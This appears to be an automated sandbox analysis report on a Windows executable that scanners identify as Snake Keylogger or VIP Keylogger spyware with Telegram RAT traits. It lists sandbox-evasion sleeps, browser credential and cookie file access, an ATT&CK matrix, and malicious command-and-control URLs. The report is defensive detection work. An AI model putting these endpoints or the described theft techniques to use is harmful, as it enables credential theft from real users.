Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595333	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595134	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595030	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594800	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594685	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594469	Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe	Window / User API: threadDelayed 2602			Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Window / User API: threadDelayed 7248			Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 2412	Thread sleep count: 2602 > 30	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -599889s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 2412	Thread sleep count: 7248 > 30	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597560s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -597016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -595333s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -595134s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -595030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -594921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -594800s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -594685s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe TID: 6752	Thread sleep time: -594469s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598546	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597560	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595333	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595134	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 595030	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594800	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594685	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 594469	Jump to behavior

Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: z1PO7311145.exe, 00000000.00000002.3694144020.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000004189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\z1PO7311145.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe

Code function: 0_2_06B39548 LdrInitializeThunk,

0_2_06B39548

Source: C:\Users\user\Desktop\z1PO7311145.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe	Queries volume information: C:\Users\user\Desktop\z1PO7311145.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: z1PO7311145.exe, type: SAMPLE
Source: Yara match	File source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1PO7311145.exe PID: 6492, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: z1PO7311145.exe, type: SAMPLE
Source: Yara match	File source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3696383781.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1PO7311145.exe PID: 6492, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\z1PO7311145.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: z1PO7311145.exe, type: SAMPLE
Source: Yara match	File source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1PO7311145.exe PID: 6492, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: z1PO7311145.exe, type: SAMPLE
Source: Yara match	File source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1PO7311145.exe PID: 6492, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: z1PO7311145.exe, type: SAMPLE
Source: Yara match	File source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3696383781.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1PO7311145.exe PID: 6492, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
z1PO7311145.exe	74%	ReversingLabs	ByteCode-MSIL.Spyware.Snakekeylogger
z1PO7311145.exe	100%	Avira	HEUR/AGEN.1307591
z1PO7311145.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://varders.kozow.com:8081	0%	URL Reputation	safe
http://aborters.duckdns.org:8081	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://51.38.247.67:8081/_send_.php?L	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	URL Reputation	safe
http://anotherarmy.dns.army:8081	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
